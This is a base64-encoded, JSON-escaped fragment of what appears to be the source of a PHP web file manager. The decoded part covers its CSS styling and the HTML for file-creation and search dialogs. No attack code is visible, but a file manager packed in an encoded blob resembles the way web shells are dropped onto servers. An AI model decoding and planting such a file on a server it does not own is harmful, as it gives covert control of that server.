h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3RpdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg